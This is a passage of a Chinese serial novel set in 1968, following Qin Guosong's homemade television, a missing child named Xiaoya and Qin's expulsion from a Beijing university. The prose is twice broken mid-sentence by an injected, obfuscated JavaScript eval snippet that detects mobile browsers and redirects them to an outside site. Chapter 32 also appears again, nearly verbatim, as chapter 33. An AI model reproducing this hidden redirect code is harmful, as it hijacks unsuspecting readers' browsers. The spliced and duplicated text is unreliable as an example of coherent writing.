秦义辉告诉他们。秦国颂几天前到家里来过一趟。从他那里拿了几本书就走了。估计他也快回来了。给他说好了一个星期后回来还书。 黄国英听完秦义辉的叙述。对大凤说道。“我到他们厂找他去。说真的,我早就想他了,想见见他。可有些日子没见到他了。” 大凤点了点头。“你去吧。我在家看好小雅,可不能让她乱跑了。回来告诉我,听听秦国颂怎么说?” 黄国英来到了无线电厂。刚一进厂门就见到了安康。安康以为黄国英是来找他的。笑着对黄国英说道。 “老同学,你这一走把我们都忘了。这么长时间也不来看看我。你们那边怎么样,新搬过去一定是非常的忙。” 黄国英回答。“恰恰相反,比这里清静的多。派系争斗表面上和和气气,暗地里勾心斗角,尔虞我诈。我现在也是如履薄冰,只能察言观色随大流。真的,在那边一切都要重新开始。我也想你们呐!” 接着他又问安康:“星期天你也不休息?” 安康回答说道。“本来是安排我休息的。这不,领导又给我布置了新任务。本来我是搞技术的,又把我调去搞政工。说句良心话,现在搞技术的不怎么吃香。可政工这一块我又不愿意搞。尤其是现在的局面。得罪人的差事啊!” 黄国英说道:“这是领导上要提拔你啊。看出了你是个人才。把握时机吧,好好干!” 安康有些无奈的表示道:“你也知道,本来我对派系的争权夺斗这些就不感兴趣。一直都是比较一门心思的搞技术。现在的形势弄得这些搞技术的人都有些灰头土脸的。世事难料呀,走一步算一步吧。” 黄国英接着说道。“是呀,咱们老同学之间都差不多。我也是一门心思的弄业务。看现在的世态发展,咱们想的都简单了。都要跟得上形势才行啊!” 安康转了话题问道。“中午在我们单位吃饭吧。我弄两个好菜,咱们喝点儿。我们单位食堂饭菜做的还挺可口的呢。” 黄国英想了一下。“也行。我先去看看秦国颂。有点事去问问他。” 安康点了点头,心中有些不快。暗自思衬,原来他来这里是冲着秦国颂来的。这个秦国颂啊。勾着他的魂儿呢……尽管安康心里是这样想的,但他表现出来的神情确是没有露出半点声色。他温和的笑着。 “行啊。还用我跟着吗……哦,要不你先去吧。我这儿还有一点儿小事儿。你先在秦国颂那等着我。我忙完了就过去找你们。还有啊,最好叫上二凤!” 黄国英点了点头答应着。“好的,好的。我也想见二凤了。叫上她,看看她有没有时间……” 黄国英在秦国颂的工作室里找到了秦国颂。秦国颂正在忙着他的工作。见黄国英来了,急忙站起来跟他热情的握手。两个人握完手,黄国英伸开双臂要拥抱秦国颂。秦国颂也伸开了双臂。黄国英紧紧的抱着秦国颂,忽然这一刻他感觉好像拥抱的是一个异性恋人…… 拥抱完后,秦国颂热情的让黄国英坐下。激动的脸颊红红的,小声的问黄国英。 “你这一走时间也不短了呀。好想你。” 黄国英的脸也有些微红。忙忙点头说道。“我也一样啊。想你们。想你……” 他看了看秦国颂工作台上组装的电视机半成品。指了指说道。 “快装好了吗?” 秦国颂兴奋地说道。“这一道难题攻克了基本上就差不多了。我现在正在弄电视机难度最大的部分。就是它的显像部分。”他指着案台上的零件线路板。说道:“显像管上的偏转线圈弄好了。显像电路最重要的部分高压包我也做好了。这是行扫描电路,最重要的就是行输出管。这是一个大功率的晶体管,它的负荷在整个电视机里最重……你等一等我现在把这块电路通上电,看看行扫描电路能否正常工作。如果行的话,显像管就会发亮的。显像管要是能亮起来的话……这,这基本上就可以大功告成啦!” 秦国颂兴奋的说着。他显得有些紧张,像是对待恋爱中的情人一样表达自己感情那种羞涩与难为情。他拘谨的继续说道。 “你等一等。哦,不是你等一等,是我等一等。我再检查一下线路是否有错误。这可是至关重要的,可不能错了。如果弄错了把行管烧了,那麻烦就大了。第一行管不好买,第二它价格贵。一定是要慎之又慎的。”他又接着说道。 “今天你来了。真幸运。我太幸运了!第一次试机通电,如果真的成功了。这运气就是你带来的。我会记一辈子的……” 黄国英心里忽然生腾起一股幸福感。他看到秦国颂这样的兴奋与高兴。心里美滋滋的,那股滋味如同吃了蜜一样的甜。他陶醉在这个幸福的画面里。他陶醉在他能给秦国颂带来幸福的时刻。 秦国颂说完后低着头检查他的线路。检查完毕后,他用眼睛盯着黄国英。深深的吸了一口气。 “借你的吉兆。通电试机!” 黄国英的心一下子悬到了嗓子眼儿。他本来想补充一句。假如失败了,可不能怪我。转念又一想,在这成功与失败攸关的时刻,可不能说丧气的话。不能说不吉利的话。他替自己与秦国颂鼓了鼓勇气。重重的点了点头。 秦国颂接上电源。手放在开关的按键上。他看了看黄国英。示意黄国英的手放在他的手上。他们俩要一起完成这个至关重要的动作。 他们一起按动了电源开关。 电源开关吧嗒的响了一下。两个人屏住呼吸。看着显像管的灯丝。看着显像管的银屏。 显像管的灯丝慢慢的发红了。呀,黄国英大喊了一声。显像管亮了!快看,它亮了! 秦国颂激动地把脸扭向显现管银屏的方向。看到了那朝夕相盼的亮光。尽管发亮的部分还没有把整个显像管打全,显像管上出现了一个矩形的像是电影宽银幕似的发亮画面。秦国颂用手扭动了一下偏转线圈。显像管屏幕上的那个画面跟着他扭动的方向一起转动。秦国颂兴奋地在自己的脸上扇了一巴掌。眼泪都快要掉下来了。他盯着黄国英激动的说: “大哥!我可以肯定的说。成功了……” 黄国英也激动的站起来。他紧紧的抱着秦国颂,秦国颂也紧紧的抱着他…… 就在这时安康来到了工作室的门口。他站在门外看到了工作室里面的情形。他看到秦国颂和黄国英两个人在紧紧的抱着。好像秦国颂还在激动的抽泣。他停住了脚步。慢慢的向后退。转身走开了。 就在这时。发亮的电视机小声的啪的响了一声。显像管上发亮的画面消失了。 秦国颂赶忙过去查看。他第一的反应就是用手摸了一下行输出管的散热片。这一摸不要紧,那手一下子就缩了回来。烫**。 “完了……”他呆呆的小声说着。“行管烧了……” 黄国英紧张的看着。不知所措的问着。“真的吗?你测量一下再做决定……” 秦国颂摇了摇头。“不用测量了,肯定是行管烧了。它太烫了……我忽视了这个问题。我要是用大一些的散热片就好了。我没有预料到它的负载这么严重……” 黄国英一下子不知道怎么安慰秦国颂。只是自责的责怪自己。 “都怪我。干扰了你的工作……” 秦国颂连忙摇着头说。“不是,不是。是我的疏忽。这个结局换了别人也会是一样的。没关系,失败是成功之母……再说我们并没有失败。我们是成功的!显像管电路成功了!……不过我还是要再去一次天津。再买一只行管回来。我也是当时为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583096|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不多买几只的?不过也是它太贵了。我怕不成功,多买了就造成浪费了。” 他看着黄国英。举起了双拳。小声的喃喃道。成功了。成功了! 黄国英看了秦国颂喜悦的表情。从心里替他高兴。也跟着他小声的喃喃道。成功了,成功了! 秦国颂激动地对黄国英说。 “国英大哥。我真想再紧紧的拥抱你……我太高兴了!” 黄国英抬起手腕看了看手表。 “都12点多了。你不饿吗?早就该吃午饭了。” 秦国颂跟着看了看案台上的马蹄表。瞪着眼睛。“真的呀,都快一点了!咱们快去食堂吃饭吧。国英大哥,今天我请你!” 黄国英这时才想起了安康。 “我来你这以前在厂门口碰到了安康。他还说中午请我吃饭呢。并说到这里来找咱们。怎么这时候还不来呢?” 说完这话,他忽然想起到这里来的真正目的。大凤交给他的任务,他早忘了。 黄国英看了看秦国颂。“走吧,咱们赶紧去吃食堂吃饭。不然的话就没饭了。你说的对。今天的客你请定了。” 他们俩走出工作室。在去往食堂的路上。黄国英向秦国颂询问了关于小雅的事情是怎样的一个解释…… 他们两个来到食堂。今天是星期天,食堂里吃饭的人比较少。他们找了一个靠近门口的桌子旁坐下。黄国英想的是如果安康来了一眼就会发现他们。 秦国颂点了饭菜。问黄国英。 “大哥,你想喝点酒吗?” 黄国英点了点头,微笑着说道。“你说呢?” 秦国颂看着黄国英。“还用说呀?喝呗!今天是星期天,下午我也没事休息半天。主要的是咱们的实验制作成功了,我要庆祝一下!” 黄国英说。“去拿一瓶吧。万一安康来了呢?一瓶酒正好。” 秦国颂点头称是:“主要是你们俩喝啊?我可喝不多。意思意思就行了。” 他们俩正说着呢。餐厅的靠里面的一个雅间的门开了,走出了一个人。秦国颂看是二风,二凤直接去洗手间了。秦国颂对黄国英说。 “二凤也在这儿。我刚才看见她了,从雅间出来的,去洗手间了。一会儿等她出来,我把她叫过来。” 黄国英啊了一声。“她在这儿。还在雅间儿。那一定是陪着领导来的,好家伙,这个二凤可不简单呐。” 正说着二凤从洗手间出来了。秦国颂喊了她一声。二凤向他们这个地方看了一眼,走了过来。 二凤站在他们两个人旁边,没有坐下。只是有些淡淡的叫了黄国英一句。 “姐夫,你来了呀。我听安康说了。” “嗯?安康在哪儿?” “他也在我们那个雅间里。市革委的吴主任来咱们厂了。厂领导叫我陪着谈工作。然后我们就来这里吃饭了。并且叫了安康大哥也陪着。” 二凤看了看旁边坐着的秦国颂:“最近怎么样?知道你很忙。” 秦国颂点了点头。刚要给她说电视机进展的情况。 黄国英插话道。“这个安康,本来是跟我说好了的,跟我们在一起吃的。也不给我打个招呼就跑你们那边去了。我们还傻等着他呢。” 二凤话里有话的揶揄道:“安康大哥去找你们了。看你们俩正忙着……”她把这个“忙”发音发的很重。她又接着说道。“人家就没打搅你们,就去找我了……” “哦?……”秦国颂和黄国英同时发出了这一声,两人互相看了一眼。好像明白了什么…… 二凤接着又说道。“你们俩赶紧吃饭吧。我也过去那边了。在这儿太久了,怕里边的领导怪罪。” 说完她转身去了雅间。 秦国颂和黄国英两个人面面相觑。看二凤今天的表情。听她说话的口吻。两个人都觉得今天的事情有些不对。一定是安康对二凤说了什么。 黄国英缓缓的对秦国颂说。“咱们在这儿等着,一会儿等安康出来,我要问问他。” 秦国颂点了点头正要说话。忽然看见大凤匆匆的小跑着进来。一看到他俩在这。急火火的说道。 “可找到你们了!小雅丢了!” …… 第30章 小雅(续) 黄国英与秦国颂啊的一声直愣愣的看着大凤。大凤大口喘着气。同样也直愣愣的看着他俩。 “找了,找了整个院子,都找遍了……就是人不见了……” 秦国颂一拍脑门。“咱别在这傻愣着了。快点儿走吧!找去!” 黄国英秦国颂大凤三个人急匆匆走出食堂。快速奔家走去。 一进大院,看见了居委会的张阿姨。张阿姨看见他们三个人小跑的进了院子。迎着大凤说道。 “找到了,找到了!别急了,你妈抱她回家了。” 他们三人赶紧进了家门。看到大凤妈紧紧的抱着小雅,那紧张的样子,生怕她再跑了似的。小雅安静的在大风妈的怀里。看着跑进来的大凤,小嘴一撇,哇的一声哭了。 大凤赶紧的接过来,抱着小雅。轻轻的拍着她慢慢的哄着。 “好闺女,别哭了啊。快把妈都急**。真要找不着你,妈也就不活了……”大凤流着眼泪哽咽的说。 小雅看到大凤哭了。用小手去给大凤擦眼泪。 黄国英接过小雅:“来,宝贝,让爸爸抱抱。给爸爸说说你跑哪儿去了?” 小雅伸出小手,抱着黄国英。 大凤妈妈说:“你们真的猜不到她跑哪儿去了。她和新搬来的那家的孩子,就是和范长庚他们家那个小丫头顺着外院厕所那边跑到屋后那排桑树那儿去了。你说急人不急人,怪不得满院子找都找不到。找了这半天。幸亏住在最西头的范志勇回来了。他进了屋子,从后窗户外头看到她们两个在桑树底下玩儿呢。这才找得到……” 黄国英抱着小雅问她:“宝贝儿,你怎么跑那儿去了呢?谁领着你去的?” 小雅眼里含着泪。看着他爸爸黄国英,又看了看妈妈大凤,说道。 “前院的小娟儿找我玩儿。我就跟着她上她们家玩儿去了。他们家里有小哥哥小姐姐,我们一起在那玩。玩了一会儿我跟着她去上厕所,顺着厕所我们就跑到屋子后面有一棵树上坐着阿姨的哪儿去了……” “啊?!”大凤惊了一下。“你跑到树下,这次你看到什么了?” 小雅摇了摇头。 “你们两个小孩在那儿玩儿,不害怕吗?” 小雅又摇了摇头。 大凤嘱咐小雅:“以后再也不能去那地方玩了。听见了吗?给你说过就是记不住。这次记住了吗?!” 小雅点了点头。“记住了……” 屋内的人看着小雅,又都互相望了望,谁也没有说话。 范志勇这次回来隔着窗外发现了两个孩子,意外的事让孩子们的家长的心落了地,然而再意外的事让他的心却悬了起来。他在看到窗外那两个孩子的同时,意外的发现了他的屋内有些不对劲。究竟是哪儿不对劲儿?他也说不出来。就是感觉到不对劲。他搬到这屋时间并不长,基本上没怎么住过。只是偶尔的回来住一两晚上。大多数时间他都在厂里。最近,厂里的一位女工与他走动的很密,两个人很快就确定了恋爱关系。这位女工家不在本市,是高阳县一个村的,也是通过一个亲戚的关系来到厂里做工的。女工知道他在市里有一间房子,更知道他有一个做厂领导的掌握实权的亲戚在厂里。这个女工是想攀上他的这门高枝,解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583097|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决自己的户口问题,有了城市户口,就可以转为正式工了。也就是说这位女工是在热烈的追求范志勇。并对他表示让他把房子拾掇拾掇,说是不想在单身宿舍住了。要在这里跟他一起住。范志勇心里的那份美就不用说了。他满口答应,规划着这间房子怎样利用,怎样把它打造成自己的结婚新房。 于是,本来对这间房子不太满意又心存芥蒂的范志勇。找到了他的亲戚,把这个事与他自己的心事说给了亲戚听。 亲戚听完他的叙述。点了点头。“我去找房管所的石主任。让他把咱们这所房子翻盖成新的。这事虽然不大,但是在整个大院都是老房,唯独咱们翻盖成一间新房,咱们要找个合适的理由才行。再就是咱们搬到这个院里,时间还不是很长,切不可太过张扬。咱们虽然手中有权,一定要低调行事。这一点可不能忘了。” 范志勇感激的连连点头答应着。 找个什么好的借口呢?范志勇想到了这两天接连发生的小雅的事情。这小孩似乎对这间屋子里有瓜葛,有牵连。至于什么牵连他不晓得。但这个小孩在不长的时间里两次来到他的房间。第一次她还一个人进了他的屋,这让他大惑不解。后来又听到在院里有人传言,说这个小女孩在他的屋里看到了一个人,而且还是个女人……进而又让他联想到他最近几天发觉这屋里的不对劲。于是,他就把这些当做要翻盖这间房子的理由。更为严重的是前天他又听到了另一个消息,这个消息让他毛骨悚然,立即决定要翻盖这间屋子。 这间屋子两年前吊死过一个女人…… 第31章 翻新 范长庚找了他的在房管所当主任的好哥们弟兄石永三,把范志勇住的房子现状情况给石永三说了。石永三听完后大手一拍。拿起饭桌上的酒杯把一大杯酒一扬脖一饮而尽。咧开大嘴哈哈一笑。 “兄弟,这算个什么屁事?别说一间房了,就是连你住的那几间咱们一起弄都行。全部落地重修,翻盖一新。哥们儿就是干这个的,小菜一碟儿。” 范长庚摆了摆手。“不搞那么大动静了。就把我侄子住的那间房给他弄新了就行了。我住的那两间暂且不动,关键是我也没打算在这个破地方住多么长时间。咱们费半天劲也是给别人做了嫁衣裳。不费那个劲,弄一间就行了。” 石永三又倒了一杯酒。“行啊,听哥们的。你怎么吩咐兄弟就怎么干。过两天我就派下人去开干!保证让你满意。” 没过几天石永三就派了施工小队来到了大院里开始动工。 院里的人们伸着脖子瞪着眼看着施工队在施工。一开始人们议论纷纷,不知道为什么要拆除这间房。有的人还小声议论。 “听说这间房风水不好,要拆掉。” “什么风水不好啊?这年头还敢讲风水?就是人家有权利啊!” “有权利为什么不连带着那两间一起拆呢?连那厕所一起拆了不更好吗?” “你说的倒轻巧。拆了厕所咱们去哪里方便?” …… 人们纷纷议论,猜测着这里面的蹊跷。 居委会主任张阿姨还发动了院里的群众自愿帮忙。有的人为了扒结范长庚,自愿参加了拆迁与重建的工作。 这间耳房本来就不是很大,十来平方米。经过落地重修,房前屋后又扩充了几平米。把一间房改成了一前一后的两间房。房前与老房正房的前面齐平,房后又向老房的后墙方向扩展了两米,把屋后面挨着后窗的那棵桑树刨了。后窗在外面变成了一块小平地,自然而然的成了一个小院儿。并且还开了一个后门,这样前后均可以出入。于是这间小耳房的南房,便成了两间带小院的北房,并且南北通透自由出入方便。 这两间新盖的房为了和院里的老房子格调一致。除了建筑样式是新款的以外,其他的均仿制老房的建筑修建。用的依旧是青砖,并且墙体还是用的立砖的形式。只是房的框架没有了四梁八柱。 房子屋内用青砖墁地。屋顶竟然采用的天花板隔层。屋顶天花板的角落留有一个透气的小天窗。新建的房屋给人的感觉是耳目一新。院里的邻居们看着新落成的两间小房,心里羡慕的那个滋味啊无法用语言来形容了。 邻居们阿谀奉承地崇拜着范长庚。崇拜之余,连连对范长庚进行夸赞。夸赞他有权利有实力,并且还不为私利。为院里的邻居们办了一件好事。解决了人们的心头之患。尤其是院里的孩子们更加高兴,在院里出入就不必担心害怕院里的所谓的“吊死鬼”了。 不到一个星期新房建好了。房屋的窗户门都是用的新款式的。并且屋门上的锁还是暗锁。这让邻居们感觉非常的新鲜。锁上门,关上门,屋里有没有人就没人知道了。又给这间房子增加了一些神秘感。 大凤有的时候抱着小雅来到房屋的施工现场看房子的搭建。小雅静静的瞪着大眼睛看着,不敢说话。有的时候转过脸看看她妈妈大凤。等房子盖好后,有一次小声的跟她妈妈说。“这房子真好,我也想进去住。” 大凤问小雅。“我没看出来好在什么地方。你给我说好在哪儿?我听听。” 小雅绷着小嘴儿好半天才说。“这房子是新的,屋顶漂亮,还不用糊报纸……” 大凤笑了。对小雅说。“别着急啊,说不好,咱们住的房子很快也会跟这一样,会翻盖的。到时候我们小雅也住新房。” 小雅说道。“屋里也要这样的屋顶,白的……” 房子盖好了。这一年的五一,范志勇结婚了。小两口欢天喜地入住了新居。 大凤领着小雅也前来参加祝贺。人们热热闹闹祝贺着。吃着范志勇发的喜糖。小雅的眼睛好奇的看着那洁白的天花板…… 这一年的无线电厂有了些变动。《人民日报》发表《工人阶级必须领导一切》的文章传达了毛主席的指示。派遣“工宣队”“军宣队”进驻学校。以优秀的产业工人为主体,配合人民解放军战士组成毛主席思想宣传队,分期分批进入各学校。 厂里党委开会决定。派安康和张文凤进入到市里的一所大学,安康便成为了这所大学主要负责人之一。二凤协助安康做政工工作。 与此同时。秦国颂也接到了领导上的通知。让他做好保送他上大学的准备。 全国响应毛主席的有关指示。“走从工人中培养技术员的道路,要从有实践经验的工人,农民中选拔学生,到学校几年以后,还能又回到生产实践中去。” 秦国颂破格的得到了提拔,厂党委逐级对他进行了上报。他被选送到了清华大学电子系。当上了一名工农兵大学生。 无线电厂的这两项重大的人事变动。给这三个人的命运带来了极大的转机。安康可谓是心花怒放。二凤由厂里的红人变成了他的下属,直接由他领导。无论从论公论私的角度都给他带来了意想不到的喜悦。他暗暗的祈祷上天赐予他的这份机遇。 二凤做梦都没有想到自己会遇到这样的事情。正在厂里和市里飞黄腾达的她一下子变成了安康的一个小随从。这和她膨胀的野心简直就如同离经叛道。还有她的父亲被送入了刚刚成立的五七干校。险些弄得她们一家人全家举迁,跟随他的父亲去江西农村。 秦国颂的心情也是非常的郁闷。第一要离开了他朝思暮想的情人二凤。并且眼睁睁的看着二风成了安康的下属。他忽然感觉到了某种绝望。让他有些失魂落魄。第二他进的是清华大学电子系,按说这正对他的专业口,但是他真正想学的是天体物理学。他感兴趣的是爱因斯坦的相对论。这一点可以说它是有些痴心妄想了。在中国的理论界正在批判爱因斯坦。爱因斯坦在中国的科学界已经被视为反动权威。此时的秦国颂无奈地放下了他的电视机的制作,把留下的最后收尾工作交给了他的助手王春梅。心情极为复杂的等待着命运如何把它推向一个无法预知的领域。 按照常人的想法,按照他追求的目的,能够进入大学深造。这是多么可望而不可及的事情。然而恰恰就是秦国颂,这个有着与常人不同的思维逻辑一个人。却从内心深处感到了不安。这种不安搅的他心神不宁。还有他要和二凤的分别,这种离别让他分辨不清是暂时的还是永久的……是去是留,他竟然拿不定了主意。 第32章 离别 1968年的9月1号。秦国颂,安康,张文凤离开无线电厂进入大学。所不同的是秦国颂是作为工农兵学员进入的北京某大学学习,安康与张文凤是做为“工宣队”的代表对本市的农业大学进行指导管理。无线电厂召开了全厂大会,为他们欢送送行。 他们三人胸佩大红花。被厂里的工人师傅们簇拥着上了大卡车。工人们敲锣打鼓沿街游行。他们在卡车上围着市区转了两圈后。第一站先在车站送秦国颂上火车。秦国颂下了汽车,被工人们簇拥着进了火车站站台。在站台上秦国颂一一的给厂领导与工人师傅们握手致谢。当他给开铣车的范志明范班长握手时。范师傅竟然激动的掉了眼泪。并且说着他的口头禅。 “说实在的……我就知道你会有这么一天的。好好去学,成了再回来……不要辜负了厂里对你的期望。” 秦国颂紧紧的握着范班长的手。激动的眼泪在眼眶里打着转。 “放心吧,范班长。我一定要好好学习!” 当秦国颂给二凤道别时。二凤热情的给秦国颂行了一个军礼。然后与他握手。他们两个人的恋情在这个厂里只有安康知道。安康的这种知道还是在不大光彩的情景偷看到的。他们两个人恋爱的关系是不可以在厂里曝光的。刚满18岁的秦国颂与刚满20岁的张文凤还在学员阶段,谈恋爱是违反厂纪律的。尤其是张文凤还是个预备党员,那就更要严格的遵守纪律。两个人在临分别的几天里都没敢私下里会面,就是为了要躲避旁人的目光。走的时候在车站道别,两个人更是依依不舍,内心深处的离别之情当着众人是不能流露出来。只能作为平时的同志关系握手言别。 二凤微笑的说道。“秦国颂同志,祝贺你!你是咱们厂子里的骄傲。一定不要辜负了厂领导与工人师傅们对你的期望。好好学习,报效厂里!” 这一番话说完,她忽然定格在那里,脸上的微笑变得僵硬而不自然。她咬了咬下嘴唇,快速的把脸扭向了一边。努力的克制着眼泪,不让它流出来。 秦国颂克制着感情把脸扭向一边。与一同工作的王春梅握手道别。令秦国颂没有想到的是王春梅竟然哭出声来,她从内心深处舍不得与秦国颂分手道别。她这一哭不要紧。二凤也忍不住的流下了眼泪。还有一起来送别的大凤及秦国颂的妈妈也掉下了眼泪…… 秦国颂依依不舍的对她们挥了挥手,快步上了列车。 人们送走了秦国颂。出了站台。上了卡车,把安康和张文凤送到了本市的农业大学。 秦国颂进了北京。光荣地成为了北京大学里的一名工农兵学员,68级电子系。 工农兵学员除了农民以外,全部都是带薪学习来的。除去固有的工资,国家还给相应的补贴。农民来的只有享受国家给的补贴。秦国颂在学校学习期间生活待遇还是比较优厚的。唯一让他感觉到苦恼的是学校的师资队伍,有名望的教授基本上都被打倒了。没有名望的教授也靠边站。所谓教他们上课的讲师都是在本校毕业或者是还没有毕业的在校学生。这一点让秦国颂极为失望。课堂里学的那点理论,他早都在家里自学过了。有一次一位年轻的讲师在课堂上讲到一节晶体管电路的理论时,他觉得他讲的不对。立即站起来发言反驳。弄得那位年轻的讲师非常的尴尬。没想到这一事件被学校的造反派渲染成是工农兵学员是真正有知识有文化的英雄,并且被张冠李戴。把他这一行为说成是以他自己的实际知识批驳反动的学术权威。并以“高贵者最愚蠢,卑贱者最聪明”为题。写成报道,登在学校的校刊上。 秦国颂看到了报道。气得他找到学校的编辑部。说他们混淆是非,颠倒黑白。当他闹完了一通离开编辑部时。编辑部的一个造反派的小头头送给了他一句话。 “你丫不会是有病吧?!” 秦国颂来到学校以后。正经八百的学习没有上几堂课。几乎天天参加学校组织的批判大会。要不就是跟着学生教师们去工厂农村参加实践活动。秦国颂经常懊悔的诅咒。说不出是诅咒的他自己,还是诅咒的谁?总之他没有感觉到他学到了丝毫的知识与得到了丝毫的幸福。对这座所谓的高等学术学府知名学校充满了失望。 有一天学校组织了批判大会。对一位“反动”的学术专家进行批判。这位教授是研究爱因斯坦相对论的高级知识分子。痴迷于相对论的秦国颂不顾周围人的目光与情绪。大庭广众之下义无反顾的冲上讲台。与被批判的教授站在一起。他的这一举止立即引起下面的人群中一片哗然。人们惊愕不解的看着这位工农兵学员的举止。议论纷纷。 台上台下的人全愣在了那里。立刻人们都不知道怎么办为好。这个站在台上护着教授的小伙子可是工农兵学员呀!经过千挑万选选来学习的工农兵学员,他竟然会护着反动的学术权威。 秦国颂抬起头。看了看台上台下的人。大声的说道。 “你们懂得什么是相对论吗?!你们几个有一个说出来我听听!说!!” 人们一阵哄笑…… 秦国颂的这一举止确实打乱了学校造反派们的阵脚。他们怎么也没有想到像他这样的一个人,还会护着一个反动权威。他是一个工农兵学员,竟然还会遵崇那些资产阶级的反动学术理论。于是他们立即开会,商讨怎样处分秦国颂。 秦国颂被给予开除校籍的处分。返送原籍单位。并责成单位对他进行批判教育……留观后效。 夜晚,秦国颂一个人独自在校园里徘徊。他心里在想。留在这里学习还有什么意义?想学的学不到,不想学的留在这里浪费自己的光阴。冷静下来思考自己的下一步该怎么办。他根本不考虑学校会对他进行什么样的处理。他也没心思想那些。他决定趁学校还没有对他的处理决定公布的时候,打点行装来个不辞而别。 他打定主意后来到了宿舍收拾他的行李。同宿舍的人看着他的行为举止默默的谁都没有说话。这时同宿舍的一位农民老大哥学员走到他身旁。小声的对他说。 “你这是要走啊?” 秦国颂点了点头。 “你也不等等明天学校对你的处理决定?” 秦国颂摇了摇头。 农民老大哥叹了口气。“可惜了……” 边说边从衣袋里拿出5元钱递给秦国颂。 秦国颂看着这位朴实的农村学员,眼里涌出了泪水。 “谢谢大哥。您的心意我领了。可是这钱我绝对不能收!我有工资……可您每个月就15块钱的津贴费呀……谢谢你了啊!” 农民大哥学员憨厚的看着他,手里攥着5元钱还在继续的往他手里递…… 秦国颂打点行装趁着夜色来到了北京火车站。买了一张南去的车票。竟然神使鬼差的错过了车站。来到了本次列车的终点站,省会石家庄。 到了石家庄已是半夜了。他用学生证找了一家旅馆,暂时先住下。他躺在床上思索着下一步怎么办?忽然想起了一个人。这个人是省法院的黄国英。 他决定明天去找他。 第33章 离别 1968年9月1日。 秦国颂,安康,张文凤离开无线电厂进入大学。 秦国颂是作为工农兵学员进入北京名牌大学学习的。安康与张文凤是作为“工宣队”的代表对本市一所农业大学进行指导管理。无线电厂召开了全场大会,为他们欢送送行。 他们三人胸佩大红花,被厂里的工人师傅们簇拥着上了大卡车。工人们敲锣打鼓,沿街游行,他们在卡车上围着市区转了两圈后。第一站到车站送秦国颂上火车。 秦国颂下了汽车,被工人们簇拥着进入了火车站的站台。在站台上秦国送一一的给领导与工人师傅们握手致谢。当他站到他刚入厂在金工车间开铣车的班长范志明跟前与范师傅握手时。范志明竟然激动的掉了眼泪,并且连说着他的口头禅。 “说实在的……我就知道你会有这么一天的,好好去学,学成了再回来……不要辜负了厂里对你的期望。” 秦国颂紧紧的握着范班长的手,激动的泪花在眼眶里打着转。 “放心吧范班长!我一定要好好学习。不辜负你对我的期望……” 当秦国颂要给二凤握手道别时。二凤热情的给秦国颂行了一个军礼,然后与他握手。他们两个人的恋情关系在这个厂里只有安康知道,并且安康的这种知道还是在不大光彩的情况下偷看到的。他们两个人的这一层关系是不可以在厂里曝光的。因为刚满18岁的秦国颂与刚满20岁的张文凤还在学员阶段。在这个阶段谈恋爱是违反厂纪律的。尤其是张文凤还在预备党员阶段,那就更要严格遵守纪律的。两个人在临分别的那几天里都没有敢私下的去会面,就是为了要躲避他人的耳目。分手的时候在车站道别,两个人更是依依不舍,内心深处的离别之情当了众人是不能流露出来的。所以只能作为平时的同志关系握手言别。 二凤微笑的说道。“秦国颂同志,祝贺你,你是咱们厂里的骄傲,一定不要辜负厂领导与工人师傅们对你的期望!好好学习,报效厂里!” 张文凤的这一番话说完。忽然一下子定格在那里,脸上的微笑变得僵硬而不自然。她紧咬着下嘴唇,快速的把脸扭向了一边,努力的克制着眼泪,不让它流出来。 秦国颂克制着感情走到与他一同工作的王春梅面前,与她握手道别。令秦国颂没有想到的是王春梅竟然哭了出来。她从内心深处舍不得与秦国颂分手道别。伤感的她竟然说不出一句话。她这一哭不要紧。二凤也忍不住的流下了眼泪。还有一起来送别的大凤以及秦国颂的妈妈也跟着掉下了眼泪。 秦国颂把脸扭向一边,对她们挥了挥手,快速上了列车。 人们送走了秦国颂。出了站台,上了卡车,把安康和张文凤送到了本市的农业大学。 秦国颂进了北京,光荣地成为了名牌大学的一名工农兵学员,六八级电子系。 工农兵学员除了农民身份以外,全部都是带薪学习来的,除去固有的工资,国家还给相应的补贴。农民来的就只有享受国家给的补贴了。秦国颂在学校期间生活待遇还是比较优厚的。 唯一让秦国颂感到苦恼的就是学校里的师资队伍。有名望的教授基本上都被打倒了,没有名望的教授也靠边站。所谓教他们上课的讲师都是在本校毕业或者还没有毕业的在校学生。这一点让秦国颂极为失望。 课堂里所学的那点理论知识,他在家早就都自学过了。有一次一位年轻的讲师在课堂上讲到一节晶体管电路的理论时,秦国颂觉得他讲的不对,立即站起来发言反驳。弄的那位年轻的讲师非常的尴尬。 没想到这一事件被学校的造反派渲染成的是工农兵学员是真正的有文化有知识的英雄。他们结合当时的政治需要,并且还被张冠李戴。把他的这一行为说成是工农兵学员以自己的实际知识批驳反动的学术权威。并以“高贵者最愚蠢,卑贱者最聪明”为题写成报道,登在学校的校刊上。 秦国颂看到了报道,气得他找到学校校刊的编辑部。批评他们混淆是非,颠倒黑白,胡编乱造。当他闹完了一通离开编辑部时,编辑部的一个造反派的小头头送给了他一句话。 “你丫不会是有病吧?!” 